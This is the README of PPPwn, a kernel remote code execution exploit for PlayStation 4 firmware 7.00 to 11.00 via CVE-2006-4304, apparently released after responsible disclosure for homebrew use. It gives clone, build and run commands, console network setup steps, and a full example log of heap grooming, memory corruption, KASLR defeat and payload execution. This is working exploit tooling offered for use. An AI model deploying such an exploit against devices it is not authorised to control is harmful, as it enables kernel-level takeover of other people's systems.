PPPwn - PlayStation 4 PPPoE RCE

PPPwn is a kernel remote code execution exploit for PlayStation 4 up to FW 11.00. This is a proof-of-concept exploit for CVE-2006-4304 that was reported responsibly to PlayStation.

Supported versions are:

• FW 7.00 / 7.01 / 7.02
• FW 7.50 / 7.51 / 7.55
• FW 8.00 / 8.01 / 8.03
• FW 8.50 / 8.52
• FW 9.00
• FW 9.03 / 9.04
• FW 9.50 / 9.51 / 9.60
• FW 10.00 / 10.01
• FW 10.50 / 10.70 / 10.71
• FW 11.00
• more can be added (PRs are welcome)

The exploit only prints PPPwned on your PS4 as a proof-of-concept. In order to launch Mira or similar homebrew enablers, the stage2.bin payload needs to be adapted.

Requirements

• A computer with an Ethernet port
  • USB adapter also works
• Ethernet cable
• Linux
  • You can use VirtualBox to create a Linux VM with Bridged Adapter as network adapter to use the ethernet port in the VM.
• git, gcc and make installed
• (Optional. Not required if you only want to compile the payloads.) python3 and pip installed

Usage

On your computer, clone the repository:

git clone --recursive -b goldhen https://github.com/SiSTR0/PPPwn

Change the directory to the cloned repository:

cd PPPwn

Compile the payloads:

make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100

For other firmwares, e.g. FW 9.00, pass FW=900.

If you further want to run the exploit from within this repository, install the requirements:

sudo pip install -r requirements.txt

DO NOT RUN the exploit just yet (don't press Enter yet) but prepare this command on your prompt (see ifconfig for the correct interface):

sudo python3 pppwn.py --interface=enp0s3 --fw=1100

For other firmwares, e.g. FW 9.00, pass --fw=900.

On your PS4:

• Go to Settings and then Network

• Select Set Up Internet connection and choose Use a LAN Cable

• Choose Custom setup and choose PPPoE for IP Address Settings

• Enter anything for PPPoE User ID and PPPoE Password

• Choose Automatic for DNS Settings and MTU Settings

• Choose Do Not Use for Proxy Server

• Now, simultaneously press the 'X' button on your controller on Test Internet Connection and 'Enter' on your keyboard (on the computer you have your Python script ready to run).

ALWAYS wait for the console to show the message "Cannot connect to network: (NW-31274-7)" before trying this PPPOE injection again.

If the exploit fails or the PS4 crashes, you can skip the internet setup and simply click on Test Internet Connection. Kill the pppwn.py script and run it again on your computer, and then click on Test Internet Connection on your PS4: always simultaneously.

If the exploit works, you should see an output similar to below, and you should see Cannot connect to network. followed by PPPwned printed on your PS4, or the other way around.

Example run

[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin

[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done

[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141

[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000

[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...

[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!

Notes for Mac Apple Silicon Users (arm64 / aarch64)

The code will not compile on Apple Silicon and requires AMD64 architecture. There is a workaround using docker which will build the bin files required. Clone this repository to your mac system, then from the repo folder run ./build-macarm.sh. This will build the binaries for PS4 FW 1100 and place the necessary files into the correct folders. To build the binaries for a different version, i.e. 900, run the command as such: ./build-macarm.sh 900. Once built, copy this folder structure into the Linux VM and execute as instructed above. This has been tested using VMware Fusion 13.5.1, with the VM Guest as Ubuntu 24.04, and the host machine is MacOS 14.4.1

Notes for GoldHEN version

This loader only supports payloads with a kernel entrypoint.

The custom version of stage2 first looks for the payload in the root directory of the USB drive, and if found, it is copied to the internal HDD at this path: /data/GoldHEN/payloads/goldhen.bin. The internal payload is then loaded and is no longer needed on the external USB drive.

Supported versions are:

• FW 9.00
• FW 9.60
• FW 10.00 / 10.01
• FW 11.00

Next versions are:

• FW 10.50
• TBD